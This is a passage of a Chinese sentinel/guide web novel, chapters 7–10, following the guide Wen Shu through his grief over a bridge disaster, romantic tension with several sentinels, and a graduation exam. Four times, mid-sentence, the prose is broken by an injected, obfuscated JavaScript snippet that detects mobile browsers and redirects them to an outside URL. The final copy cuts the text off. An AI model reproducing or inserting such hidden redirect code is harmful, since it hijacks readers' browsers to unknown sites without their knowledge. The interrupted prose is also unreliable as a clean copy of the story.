《向导不做打工人》 7. 闯出经验 哨兵和向导起代号的要求是简洁好记,但最好不要和自己的实际身份产生过多关联。 温述的代号“神女”,的确符合这两项要求。 这个代号是五年级时杨明弦帮他起的,温述当时不假思索地同意了,却未意识到这两个字会陪伴他未来的五年、十年,甚至更久的余生,更没有想到这个代号将会承载怎样特殊的意义。 此时在官方资料中看到这个代号,温述是抵触的。 【春晖大桥异种入侵事件】 【新历312年1月3日,中央白塔下属区域黑石区遭遇异种入侵,1月3日15时,春晖大桥塌陷,17名公民当场死亡,101名公民被困在春晖大桥的下水道内,其中包括白塔巡逻队13名正式队员,5名临时队员和3名中央白塔圣所学生。1月5日9时,搜救队放入微型机器人探查,确定被困人员遭遇异种袭击,并发生大范围感染,搜救队放弃救援计划,改为清除计划……】 【……1月5日12时,春晖大桥事件唯一幸存者出现,系白塔十年级学生,向导,代号“神女”。】 这是这次事件唯一能对外公布的材料,而作为唯一幸存者的温述,要在这份资料上签字。 温述所在的宿舍是两室一厅的两人间,但当下只有他一人居住。他从书桌上抬起头,看了一眼那已然紧闭,未来也可能再难开启的房门,幽幽地叹了一口气,签下了自己的名字。 他那天和南佳树说自己舍友去世,是真的去世了。 就在书桌的上角,摆放着两个信封。 在这个年代,已经很难看到纸了,更别提信件这种东西。纸质文件只有保存一些不便于网络传播的重要信息时才会被使用。 而这两个信封出于“塔”独特的人文关怀——这是出任务之前每个人都要写的遗书,一旦遗书的主人出现意外,遗书最终会被塔递交到死者的亲人手中。 由于上每次任务都要写,第一次写还挺有仪式感,感觉自己在立生死状,颇有种“壮士一去兮不复还”的悲壮,但写多了就麻木了,常在里面写一些有的没的内容。 温述桌上的两封遗书,一封没必要送出去,一封送不出去。 在明亮的灯光下,温述伸出修长有力的手指,夹起了第一封遗书。 信封上是龙飞凤舞铁画银钩的四个大字——“温述绝笔”。 遗书通篇的内容只有一句话—— “今晚想吃奶油蛋糕,白塔上ADIAS的限量,希望李铭钺给我买到了。” 看着自己的字迹,温述忍不住轻声笑了,然后掏出打火机,点燃了这封信。 橘红的火焰将温述的眼眸染得通红,已不知眼中的是火光还是泪光,温述看着雪白的信纸一点点变得焦黑,最后化为灰蝴蝶般的灰烬,闭了闭眼睛。 他打开了第二封遗书。 “白繇绝笔” 白繇比温述大一级,当时他已经正式加入白塔巡逻队,成为一名临时队员,即将要从圣所搬出去。 “没什么好说的,希望能看到明天的太阳。如果不能看到,我希望为我哭的人多一点。” 诚然,他没有看见,甚至他连宿舍里的东西都没有打包完,就这样长眠在春晖大桥的地下。 白繇算半个孤儿,唯一的亲属已经离开了东部联合塔,中央白塔自然无法将他的遗书送出去,最后只能交给温述保管。温述将白繇的遗书小心放进抽屉里,自言自语道:“放心,我很快就会帮你送到的。” 时间不早了,温述习惯在睡前最后检查一遍信息,确定没有未处理的工作。 校医院发来了体检报告,上面显示一切正常。 南佳树也发来了信息。 先是几张狗狗表情包,催促温述回消息,但见温述迟迟没有回复,他也不发撩骚的表情包了。 最后只有一句,【你回房间。】 时间是00:50。 而现在已经00:59了。 温述伸了个懒腰,离开书桌,走向自己的房间。 他刚把手贴在门上,就感觉不太对劲。 【身份核验正确】 【晚安,温述!】 气液流动的声音响起,卧室门已经自动开了。 温述一抬头,就看到了白色窗帘后那个高大的剪影。柔和的月光倾洒在阳台上,将不速之客的影子映在卧室的床铺和地板上,柔软的白色纱帘随风飘动,犹如夜之女神裙摆,温柔地托举起了那空气中轻盈而不失醇厚的甜香。 温述当即就低下头把南佳树的备注改了。 榛仁巧克力味小狗 “喂喂喂,我这么大个人都站在这里了,你怎么还看终端呢?” 是他不够骚还是温述另寻新欢了? 温述低头笑着,看了看时间,正好1点整。 “这回学聪明了,怎么骗过防入侵系统的?” 南佳树吹了挺久夜风,再也忍不住了,唰一下就拉开了窗帘,朗声道:“山人自有妙计,今晚你老老实实躺平任艹就行。” 温述抱着双臂,挑了挑眉,“哇你真是好大的口气啊~” 南佳树直接虎虎生风地走过来,向卧室中洁白如玉的向导伸出了罪恶之手,即将把温述搂进怀里的时候却又迟疑了,“我说这不会又是你的幻术吧?上回光一只手就把我……” “哪这么多废话!” 温述身高185,南佳树得有192或193,名副其实的傻大个,温述直接伸出手按头把南佳树按进怀里,南佳树当场就一声不敢吱了。 安静得像傻了一样。 温述缓声开口,“这回不摸小猫,改摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223118|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小狗。” 一直跟在南佳树身边的熊猫精神体叶子老老实实坐在地上,傻乎乎抬头地看着两人,双爪扶住自己圆滚滚的肚皮。而破晓也从温述的精神域中跑出,滑翔落在叶子的头顶,用喙理了理羽毛,就这样趾高气扬地坐在熊猫头上。 温述发现自己怀里的南佳树在发抖,全身都在发抖,像得了癫痫一样的抖,碎卷发下的耳朵尖也红得不像话。 “可怜娃……” 想到南佳树被罚也有自己的一份,温述觉得该给他一些补偿,他将自己的精神力凝聚在掌心,缓缓将手掌放在了南佳树的头上。 温述闭上眼睛,进入了南佳树的精神图景。 S级哨兵的精神壁垒果然如通天城墙般又高又厚,绝非敌人能够轻易攻陷。南佳树虽然浑身发着抖,但还是不忘为温述在精神壁垒中敞开了一条缝。 温述长驱直入进入南佳树精神域的瞬间,南佳树控制不住发出了一声低吟。 “……乌龙茶味的。” 温述的信息素是乌龙茶味的。 温述也好笑道:“你的精神域真的是一片竹林啊!” 南佳树的双臂紧紧在温述腰后收紧,头在温述的颈窝间不停地蹭,“叶子是只熊猫,我的精神域当然是竹林了!” “我还以为应该是狗狗公寓呢!还应该有片草坪,可以和狗狗玩飞盘的那种。” 南佳树感觉温述这乌龙茶味简直有毒,让他成瘾一般欲罢不能,脑子都快成糨糊了,听温述说话迷迷糊糊只知道回答,也不管自己回答了什么,“这不简单?……找块草坪……我和你玩飞盘……” 温述笑得更大声了。 可能因为南佳树傻人有傻福,心思单纯没烦恼,根本没有什么精神雾霾,更不会有感官神游的症状。温述梳理他的精神域十分轻松,大致工作量就是理一理竹子的生长方向,给竹子松松土。 南佳树抬起头,对上温述一银一黑的眼瞳,感觉自己有点头晕目眩,忍不住发问:“你对李铭钺,是不是也这样啊……” 温述没忍住揉了两把南佳树的巧克力色卷毛,“你要知道他是我前男友。” 南佳树有点委屈,鼻子皱了起来,他伸出手想要扯温述的颈带,在那白皙的脖子上咬一口,但被温述提前预判抓住了手腕。 “你这么好,他是不是眼瞎。” “说什么大实话。” “做我的向导吧。” 温述揉搓南佳树棕色卷毛的手顿了顿,一股难明的心绪在他心头荡漾开。 在完成他要做的事之前,他不应该牵连任何人,因此他只能选择拒绝。 “抱歉南佳树,如果我现在答应你,是对你的不负责,再给我一些时间好吗?” 南佳树不忿地嗷呜了两声,隔着颈带在温述脖子上咬了一口。 8. 精神嗜渴 尽管遭到了拒绝,但南佳树依旧坚定地表示不会放弃,如果有机会还会夜闯温述的阳台。 温述当即给了他一记爆栗。 孤男寡男共处一室实在说不清,尽管南佳树百般哀求,温述还是让他提前回去。 “真的不行吗?我睡客厅也行,打地铺也行。” 温述坚定地竖起食指,左右摇了摇,“南佳树,你这是打着手电进厕所。” 南佳树抠了抠脑门,没太理解,“啥?” “找死啊!” 临走前,南佳树眼泪汪汪,抱起叶子,在温述面前晃,“看在叶子这么可爱的份上,真的不能留它一晚吗?” 温述靠着墙,抱着手臂,一条腿曲起,别过头去,“叶子可以留下,但是你就不用了。” 南佳树差点大喊一句“放开他,换我来”,却只能一步三回头,依依不舍地跳阳台离开。 身姿倒是轻灵迅捷了许多,走时连一树叶也没有惊落,可见是经过了一番苦练。 翌日是周末,但是气象部门认为任务白塔内需要一点降雨来滋润空气,于是从一大早开始就阴雨绵绵。 天公不作美,再加上温述自知自己的辅助和控制水平实在垃圾,已经做好在训练室熬大夜的准备,潜心复习考试内容。 但计划总赶不上变化,温述收到了李弥的邀请,要他去陪他采购一批装备,并给出了无法推辞的理由。 李科长:【在我这实习这么久,连资料都没有帮我整理过,实在说不过去吧(笑)】 李科长:【现在像我这么好说话的上司实在是不多了】 经李铭钺这么一提,温述才想起来自己在李弥手下实习,问就是户籍科工作简单清闲,但由于李弥平时不给自己派活,导致温述早把这件事抛之脑后。 工作会迟到,但不会缺席。 温述就这样脱下制服,换上便装,乘坐电轨车冲破了圣所的雨幕,来到了中央大厦楼下。 好巧圣所外也下了雨,中央大厦灯火通明,高架桥上霓虹璀璨,将积水路面照射得犹如一面黑水晶,匆匆而过的车辆和行人来往不断,让这块水晶无数次破碎后又重圆。 在如此嘈杂的环境音中,李弥听到了唯一特别的声响,他回头,果然看见了撑伞向自己走来的温述。 白色短袖,白色工装裤与一双马丁靴,成了五彩斑斓画布上唯一一抹素白。温述抬起伞沿,露出精致的面容,下颌线条流畅,丰润的双唇习惯性地微微抿着,饱满的唇珠犹如娇艳蔷薇上的一滴凝露,鼻梁高挺眉骨深邃。他有一双格外狭长的眼睛,眼睫漆黑细密能在眼下投出一圈阴影,一双异色瞳没有情绪地看着他,有一种奇异的神性美。 不识九衢尘,不问人间事。 “小温,你来了。” 温述对他微笑,那股子空灵而飘忽的气质也随之不见了,转而如三月春风似的拂过李弥。 “李科长,我们接下来要去哪里?” “说了你可以叫我李弥。” 温述答应下来,但话虽这么说,上下级关系却要分清,反正他是不会这样叫的。 李弥邀请温述上车,司机冒雨出来给两人开了车门,温述和李弥一起坐在后排。李弥简单地向温述介绍了一下塔防九课建设的初步准备工作,再深入的不能再聊了,但话里话外都是画大饼的诱惑。 温述只能从李弥透露的只言片语之中了解到,与之前的被动防御或预防行动不同,这是一个主动出击的部门,是不归任何一方管辖的独立机构,是东部联合塔祭出的第一把直入敌营的宝剑。 当然,这也意味着,李弥很快要升职了,温述也很快不能叫他科长了。 李弥虽然看上去阴恻恻的,但画起大饼还真有一套,一点也不见沉默寡言的影子,可见画大饼是每一位领导的基本素养。 但当悬浮车驶向下塔的交通带时,温述感到十分惊讶,“我们要出白塔?” 李弥回答:“放心,我已经给你打过招呼了。” “但什么装备白塔没有,为什么要下去?” “白塔是什么都有,但有一点不好。” “哪一点?” “贵。” “……”温述理解了。 “我们经费有限,能省则省。” 实际上,李弥早就和商贩沟通好了,只不过对方过于谨慎,要求李弥亲自来面签,而这次带温述来,可能也只是为带他见世面。 在白塔之下,靠近白塔的区域统称主城,被一条被称为“泷川”的河水同下城隔开。下城的人想要定居主城需要审核个人贡献值、资产、社会影响力等方方面面内容,没有居住证的人进入主城,则需要收取一定费用。 商贩约定见面的地点就在分割主城和下城的泷川,一艘叫“启明星”的游船上。 李弥带着温述低调入场,很快被专人迎入包间,十分顺利地签署了协议。温述还以为会发生什么波折,再不济也是唇枪舌战一番,然而什么都没有发生。 任务结束,温述站在甲板上透气,仰望如浮空巨日,高悬于天际的白塔。 “我以前从来没有发现它这么高。” “很多人一辈子都没有登上去过,也有很多人一辈子也没有下去过。” 泷川分界,一面霓虹璀璨,如艳丽多情的粉红女郎,一面灯火寥寥,如死气沉沉的垂暮老人。 李弥循着温述的视线望去,“如果可能,我希望你一辈子都不要踏足那里。” 温述眼神放空,“如果我要逃出去,那里是我的必经之路。” “所以我说是希望。” 李弥又在用他的那种眼神盯视自己,不像夏堂侯的那种黏腻阴湿,却也能让温述感到压力。他感受到李弥精神体的细微波动,察觉到那只灰狼也许很想从精神域里跑出来。 然而这是公共场合,白塔官员是不可能在公共场合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223119|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放出精神体的。 李弥叹了一口气,他似乎好几天没睡好了,黑眼圈有些重,垂着眼睛望向河水,“我早说过你别摸它。” “……抱歉。” “这不怪你,应该怪我,人都是贪心的。” “我只是感觉,你的精神体状态不是很好”,温述说到一半又感觉,这样谈论自己上司的精神体不太好,生硬地转折问道:“话说它叫什么名字?” 李弥没有马上回答,而是帮温述理了理被风吹乱的发丝。 感到额头的温热触感,温述只感觉自己全身上下的鸡皮疙瘩都要起来了,紧绷着才不至于有什么奇怪反应。 “你们这些小孩,好像都很流行给精神体取名字。” “你……们,不取吗?” 李弥淡淡地看着自己的手指,“精神体这种东西,本来就不该有名字,不是吗?” “……”眼前这个哨兵厌恶自己的精神体,已经昭然若揭了。 温述甚至怀疑他厌恶自己的等级,甚至厌恶自己的哨兵的身份,更有甚至……厌恶变种人这个群体,但这一切温述都不便评述。 但想到那只灰狼胆怯而渴求的眼神,温述深吸一口气。 它真的很渴望触摸。 在李弥震惊的目光中,温述将手放上了他的面颊。 和温述想的一样,李弥无论的感官神游已经非常严重了,甚至在日常交谈中都会出现走神的情况,幸亏他控制力极强,硬生生没让一个人看出破绽——除了温述。 李弥的指尖抽动了一下,瞳仁几乎缩成一根针。 温述道:“我是S级向导,而且看上去你对我也不抵触,我可以治好你的感官神游。” 李弥短促地抽了一口气,意识到自己的失态后,他立马伸手捂住了自己的嘴。 温述注视着他的眼睛,逼他不要错开目光, 明明窥视自己时盯得这么起劲,现在却不敢直视自己的眼睛? “但我有要求,你去给你的灰狼起一个名字,什么时候想好告诉我,告诉我了我再亲自给你梳理。如果做不到这点,又不找向导梳理你那一团糟的精神域,我希望你下次戴上止咬器再来见我。” “……” “你知道吗?你刚才看我的眼神,像是要把我吃了。” 李弥没有立即同意,他右手死死抓着栏杆,力道大到在上面留下了深深的五指印。 “你的精神域是我目前见过最糟糕的,最少半个月,最多两个月,你就会陷入狂化。” 李弥低低笑了,声音闷在胸腔里,温述挺惊奇他在这种情况下还笑得出来。 “小温,你这是僭越。” “这只是下属对领导的关心。” 李弥还在笑,由于温述没有关闭精神力探知,他惊奇地发现,李弥现在是真心实意怪开心的。 “我明白了小温,如果你想让我求你的话,我会听话的。” 9. 死神烙印 自己对于李弥而言是特别的。 意识到这点后,温述的确生出了某些秘而不宣的心思 比如……以下犯上。 但李弥最后也没给温述机会,直到返回圣所,依然打太极一样不给人希望也不让人绝望,绵里藏针让温述好生心累。 但温述知道,李弥已经迈出了很大的一步,彻底打破那古怪的底线只是时间问题。 被李弥这么一折腾,温述的复习时间只剩下最后一天。 临时抱佛脚总比无脚可抱强,温述已经提前为各位往圣先贤学神大佬上了好几炷香,保佑自己一定得过考试。 他已经计划好了,三天后逃塔,一月后归来。由于自己并非在籍军人,只能算逃学不能算逃兵役,因此会被关一个月禁闭。 而这段时间里,自己将会错过一切期末考试。为了避免延毕或是补考,温述已经把这一学期所有的课程都先修完了,论文也提前完成了,训练室时长刷满了,至于训练习惯分扣点就扣点实在没办法。 温述都要被自己感动哭了,他真是一个勤奋好学的好学生。 周一考试当天,温述一出场就迎来了许多人侧目。 “神呐,可千万别让我对上他!” “听说这次内容是精神控制,所有考生大乱斗那种,谁控制哨兵被人斩断精神链接就算淘汰。” “精神炸弹不准带入考场,大家都检查一下。” 温述仔细研读了考场规则,对一群同样紧张的考生说:“大家别担心,这场考试对每个等级向导的标准不同。” 考生一共有39名,温述需要最后斩断十名考生的精神链接才算及格。 而C级往下只需要斩断一名就算及格。 听他这么一说,马上有人起哄了,“那照这么说大家一进去就围攻温述啊!” 温述:“别别别,你可饶了我吧!” 由于温述性格温和,有求必应,每次小组作业都堪称整个组的“奶妈”,他在同年级生中尤其是平民学生堆里人缘极好。 但在出身塔上的学生里,他又有点格格不入了。从前他倒是被李铭钺拖着混入过那个圈子,才发现同一个圣所,划分出两个世界,和李铭钺分手之后,温述也没那经济实力购买奢侈品或缴纳会费,不强求和这一部分学生之间的联系。 其他人也只是嘴上爽一爽,但真到考场里,估计大部分得避开温述。 就在这时,围在考场门口的学生们如摩西分海般分成两路,站在最前头的温述转过身,看见风沐瑶一扬长发,趾高气扬地走了来。 她身上的裙装制服如绽开的白莲花,随着她的动作在身后摇曳。 “真搞不懂你们紧张什么,温述这门课有多差你们不知道?与其害怕他,不如害怕我。” 人群中的议论声瞬间大了起来,谁都知道李铭钺当初为了和风沐瑶联姻甩了温述,这回他们在同一场考试里做对手,可算是热闹了。 “同学们,不要在门口喧哗,请排队进入考场。” 老师来维持纪律,议论声瞬间止息。 温述走进考场,看见了考场中环形摆放的39张座椅。温述穿过入口处的安检门,门上很快弹出了他的信息。 【姓名:温述】 【考号:11092876】 【座位号:36】 温述上前坐到36号座位上,再次核验了自己的身份和考号。 此时他右手边的人也就座,温述微笑着和她打招呼,“风小姐,好巧啊。” 风沐瑶冷哼一声,别过头去。 “各位考生不要头接耳!” 温述被警告,只好闭了嘴。 这个时候,从入口处进来了一队哨兵,男模气场,宽肩长腿,当场就让许多难得与哨兵接触的向导羞红了脸。 他们无一不穿着紧身连体衣,过于贴身的服装让他们的好身材一览无余。除此之外,他们还统一戴着黑色的面罩,将所有可以识别身份的特征遮盖得严严实实,杜绝了熟人作弊的可能性。 温述有点为难,心想毕业大考果然不含糊,考官也不像前几年那样放水了。 向导们纷纷摩拳擦掌,跃跃欲试。 “各位向导请挑选哨兵志愿者。” 温述扫了一圈,用精神力探知他们的等级,想到苏黎或许也在他们之间。 一旦这样想了,思绪就收不回来了。苏黎连穿制服都要把扣子扣到最后一颗,现在却穿着紧身连体衣,蒙面站在这群哨兵中。 最高级的性感不是一丝.不挂,而是一点没漏。 有两名A级哨兵,哪个是苏黎呢? 等等!自己没答应过要选他吧! 向导们已经陆陆续续挑选好了哨兵,毕竟是靠控制,等级低的向导也会有意避开等级高的哨兵,防止到时候精神力难以为继,无法完成精神链接。 挑到最后,场上只剩下那两个A级哨兵了,这也是难度最高的两个。 风沐瑶看了温述一眼,率先指了指左边的那一名哨兵,“我要这个。” 这一下,温述没有选择的余地了,他只能选择最后一名哨兵。 这名哨兵也朝他走了过来,站在他面前半米远的地方,温述可以清晰地看见他紧身衣勾勒出的腹肌和鲨鱼线线条,有些不好意思地低下头移开目光。 Wow!这下看到更不该看的了。 场上已经有向导开始精神链接,温述闭上眼睛,放出精神力,开始专心致志地感受与这名哨兵的共鸣。 按照要求,哨兵虽然不会可以紧闭精神域,却也不被允许主动放出精神体或用精神力相迎合的。温述先是看到了整间考场的39簇精神力线,然后放出自己的精神力线向哨兵的精神堡垒试探。 在他看见堡垒后的荒漠精神图景后,他已经可以确定哨兵的身份了。 沙漠,是咝蝰的领地。 他先用精神力线牵引,故意放出微量自己的信息素做诱饵,引蛇出洞。当咝蝰S型从精神域中爬出时,温述知道自己已经成功了一半。 “苏黎,是你。” 苏黎紧身衣下的身体似乎颤抖了一下,但他仍保持住了镇定。 精神力链接对于温述来说很简单,虽然这种连接方式远不如契约,对向导也没有正向反馈,但对哨兵的战力增幅也很大。 温述的两个精神体中,蜃楼明显要强一些,但这一次,他选择用破晓。 猛禽向来是长虫的天敌。 毒蛇,大长虫也。 破晓,千年之雉,猛禽中的猛禽啊! 当破晓出现的瞬间,X就摆出了戒备姿态。破晓挺起胸部,展开翅膀一个飞扑,以迅雷不及掩耳之势用爪子锁死了蛇的七寸。 辛辣微苦的信息素从苏黎身上猛然爆发出来,温述意识到这是反扑的前兆,破晓立即嘴爪并用,对X展开了密不透风的攻击,X扭动身躯躲闪。辛辣微苦的信息素式微,转为带了点清甜的尾调。 迷迭香信息素,真是意外的反差。 他还以为苏黎这种酷哥的信息素该是经典款雪松。 这时,有如黎明侵染黑夜,墨迹汇入水源,掩藏在迷迭香气味之下的信息素才不动声色地出现,这香气沁人心脾,温和而不容反抗地包裹住了迷迭香的气味,并迅速将触及的一切都染上了自己专属的味道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223120|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>乌龙茶香。 身前的向导闷哼一声,单膝跪在地上,温述知道他已经可以控制苏黎了。 “精彩!”掌声自右侧传来,温述扭头看去。 风沐瑶道:“不过你一定要折在我手上!” 温述瞬间感觉精神域一阵刺痛,是自己和苏黎的精神链接受到了攻击。他意识到风沐瑶的精神体也是鸟类,天性相克可能对苏黎不利,他决定转攻为守,直接去攻击风沐瑶和那名向导的精神链接。 那名哨兵的精神体是——老鹰。 怪不得风沐瑶选择他,原来是同为禽类更方便沟通。 老鹰犀利的双眸盯视着温述,在锁定目标之后,它突然展开双翼飞上穹顶,一个蓄力对温述俯冲过去。 苏黎一把伸手将温述从凳子上扯了下来,死死按进自己怀里,带着温述直接跳开攻击区域。而此时,老鹰的利爪已经把地面犁出了足有半米长的深深爪痕。 温述被苏黎圈在怀里,心脏怦怦直跳,若是刚才他被抓到,后果不堪设想。 苏黎五感都被耳塞眼罩连体衣等装备封闭了,靠着精神链接分享温述的五感,交谈也在精神域中进行。 “你为什么第一时间选择自己攻击,而不是操纵我攻击?” 温述:“所以我说我这门课学得不太好……” 苏黎似乎叹息了一声,冷冽的声线在温述脑海中响起:“我和李铭钺不一样,你可以尽情操纵我战斗。” “而且我的身体强度够用,没有这么容易坏掉。” 温述听到这句话,顿时如醍醐灌顶,思路大开。因为从前李铭钺讨厌被向导操控,温述便养成了独立作战的习惯,顺带以为所有哨兵都讨厌被操控。 但苏黎让他意识到,当精神链接成立之后,哨兵是向导身体的外延,无论是操纵哨兵,还是保护这具兵器不让他受伤,都是向导的义务。在战场上,哨兵和向导本来就是一体共生的! 下了决心之后,温述的眼神都变得炯炯有神。 “苏黎,你的异能是什么?我们要放开打了!” 破晓将X衔起,在空中与老鹰和丹顶鹤玩起了追踪战,温述操控破晓灵活走位,一点点接近风沐瑶。 风沐瑶冷哼一声,“找死!” 却在此时,破晓突然放开了X,咝蝰直接以闪电般的速度弹射而出,连老鹰和丹顶鹤都没来得及拦截。 风沐瑶的哨兵直接推开风沐,与此同时挥拳击向蛇身弹开了咝蝰。 还好没咬到! 风沐瑶本松了一口气,却看见身边的哨兵突然向前扑倒,不省人事了。 “怎么回事?” 温述笑而不语。 苏黎的天赋异能1【死神烙印】:碰到就完蛋,阎王要你三更死,不会留你到五更! 这一记本是必杀,但苏黎控制了毒量,只是让他昏迷,但温述替苏黎提醒,“快点把他送医院,否则可能有危险。” 失去哨兵不能再战,风沐瑶没有留恋直接按铃退考,把哨兵送去医院。 临走前,她看着自己面前奸情毕现的“奸夫淫夫”,怎么看怎么窝火,不忘临走前再给温述使个绊子。 风沐瑶抱着双臂,微微扬起头道:“你早上洗漱的时候,没看见你颈带上的口水印吗?” “啊?”几乎是一瞬间,温述就想起了前天晚上南佳树表白被拒气急咬自己的那一口,“不可能,我早换领带了!” 而且已经过了两天了! 话刚出口,温述就被有些后悔了,心知自己这是自乱阵脚被套话了。 风沐瑶露出了邪恶的乐子人笑容,“骗你的,其实我没看到也没闻到。” 10. 咬一口 虽然苏黎现在被包裹得严严实实,但温述根本不敢回头看苏黎。 风沐瑶放声大笑扬长而去,哪怕担架上还抬着她的哨兵,也显得盛气凌人,没有丝毫败犬气场。 苏黎凉飕飕的声音顺着精神链接传进温述脑海中,“到底是怎么回事,风沐瑶听到了什么?” 温述虚握着拳头咳嗽一声,“这些都不重要,咱们先专心考试。” 奇了怪了,他怎么有种被捉奸的感觉。 剩下的考生也有不少侧耳吃瓜的,但再好奇也只能先忍着,全都一脸便秘打得十分不畅快,连连失手变成菜鸟互啄。 温述解决了一个场上强敌,本还要解决九个才能获得及格,本以为要经过一番鏖战,但没有想到……一切未免太过容易了。 是不是有人给自己放水了。 比如那个哨兵的二哈精神体,怎么朝自己跑着跑着就去追另一边向导的闪蝶了,闪蝶向导惊恐尖叫,控制二哈的向导也崩溃地追逐着再也不受自己控制的二哈。 那边的公螳螂控制不住生殖本能当场求偶,眼看母螳螂马上就要把公螳螂的头啃掉了,两只精神体的主人费尽九牛二虎之力将两只精神体拉开。 温述伸手对着场上混乱的众人喊道:“起码给我留一个对手吧!你们全都内部消化完了,凑不够十个要挂科啊!” 苏黎感知到温述的话,只扔下了短短两个字,“等着。” 随即如一道流星跃入场内,钻进了混战的人群中。苏黎身法轻灵不失力道,迅捷不失勇猛,如鹿跃然林间,又似鹰搏击长空,仅凭温述共享的视域就能精确校准位置。从他入场之后,就不断有被击昏的哨兵被扔出场外,温述配合默契,苏黎扔一个,温述就切一条精神链接。场上瞬间哀鸿遍野,纷纷挣扎着想要逃离这个死亡圈。 “我艹那谁啊!” “早知道我就选那个哨兵了!” “别想了,人家A级起步,你泰迪开半挂,控不了肯定得翻车。” “温述运气也太好了吧!去年他考试不这样啊……” 温述从没有打得这么爽过,连连惊叹感慨苏黎虽是A级,但也无限接近S级了,而且听说他是十年级中唯一觉醒了后天异能的哨兵,未来突破S级只是时间问题。 最后,苏黎一共打晕了十八名哨兵,帮助温述妥妥地拿到了优秀。 苏黎退出混战圈,一个漂亮的后空翻落在温述身前,落地时甚至一点声音都没出。 温述激动地握着他的胳膊,眼睛亮得像一对儿打磨过的宝石,“苏黎,你是我的神!!!” 此时考场中还站着的已经坐回座位上,躺着的已经被救护车拉走了。 考官宣布考试结束,“请各位考生不要离开考场,由考官做最后的确认。” 温述坐在36号座位上,对苏黎说:“你这样我都没有发挥的机会,下次可不能这个样子了。” 苏黎沉稳的声音在脑海中响起,“你的视域分享很稳定,触觉、嗅觉、听觉的调控也没有出错,否则我发挥不出实力。” “还是你反应快,我出错了也能立马纠正过来。” 其实温述还是有失误的,奈何苏黎太过牛逼,直接把自己带飞了,他极力保持严肃,但嘴角弯起的弧度怎么也压不下来。 【成绩最终确认。】 【考生温述,98分;评级,A+】 “哇——比不了,比不了!”这个分数一出来,场上瞬间一片惊呼。 温述看向四周,“都是运气好,运气好……” “能控制这么强的哨兵,战场上也可以躺赢了。” “去年我和温述一个考场,没错,就是李铭钺被辣哭那回……” “你快闭嘴,这不让说吧!” “怕什么,现在李铭钺在医院里躺着呢!” “温述本来单兵作战能力就出类拔萃,单拎出来连哨兵都怵,这回控制能力再补足,应该是为数不多的全能了吧?” 虽然被这么评价,但温述知道自己还差得远。并不是每个哨兵都像苏黎一样配合,也不是每个哨兵都像苏黎一样与自己的精神共振频率如此契合,自己的精神接口太窄了,遇上一个苏黎已经是意外之喜。 这时,温述的脑海里突然传出了一道声音,“既然正事处理完了,你的分数也不错,我们该处理私事了。” 温述抬头看向抱臂站在自己身边的哨兵,对方身姿挺拔,正侧头看向自己的方向。 他的脸完全被黑色面罩封住了,只能隐隐看出高挺鼻梁和深邃眉骨的弧度,但他应该是在看自己。 “什么私事?” 苏黎道:“前几天听说,你的南佳树的事情闹很大。” “那是意外,谁知道他那个二愣子真敢那么干。” “他后来又去找你了?” “……是这样的。” “咬你了,咬的是脖子?” “谁能证明?” 苏黎轻哼一声,“温述,你知道脖子对于哨兵和向导来说是隐私部位吧。你一个S级向导,怎么随随便便被一个哨兵碰了?” “……” 就在这时,苏黎突然伸手,按住了自己的面罩。这面罩是用碳纤维配合特殊的屏蔽芯片嵌合的,没那么好破坏。 温述只听几道硬物碎裂的声音传来,发现苏黎按碎了面罩连接处的金属卡扣。 “苏黎,你不要……” 不等温述阻止,苏黎直接摘下了面罩。 浓墨重彩的黑发黑眼,鼻梁挺直,双唇紧抿,鹰眸直勾勾注视着温述,又酷又飒,寒气逼人。温述怀疑自己要被他的视线捅个对穿,钉死在地上。 自己,惹他生气了? 周围不少向导都认出了苏黎,发出了一声声抽气声。 “怪不得我被打得这么惨!” “原来是1班的‘黑判官’!” 苏黎之所以被起了这么个外号,是因为他那特殊的异能——【死神烙印】。【死神烙印】并不仅有一条碰到即中招的规则,还有一条由异能所有者控制毒发时间的规则。而与苏黎交过手的人永远猜不到自己为什么中招,何时毒发,甚至有过上一秒全队都在庆祝胜利,下一秒全队原地躺尸的情况发生。 被他这阴间异能折磨到精神失常的人全都调侃 ——苏黎一笑,生死难料。 一看见场上有苏黎在,所有人都脸色大变,纷纷检查起自己有没有被苏黎打上烙印。 苏黎环视一圈,冷淡的声音响起,“除风沐瑶那一组外,我没对其余任何组使用过异能。” 众人神色各异,但大多表情不太好看——这分明是在说他们太菜了,不配他苏黎出手用异能! 这时有监考老师怒气冲冲地走下来,“苏黎,谁允许你摘下面罩的!” 苏黎举起手,“老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 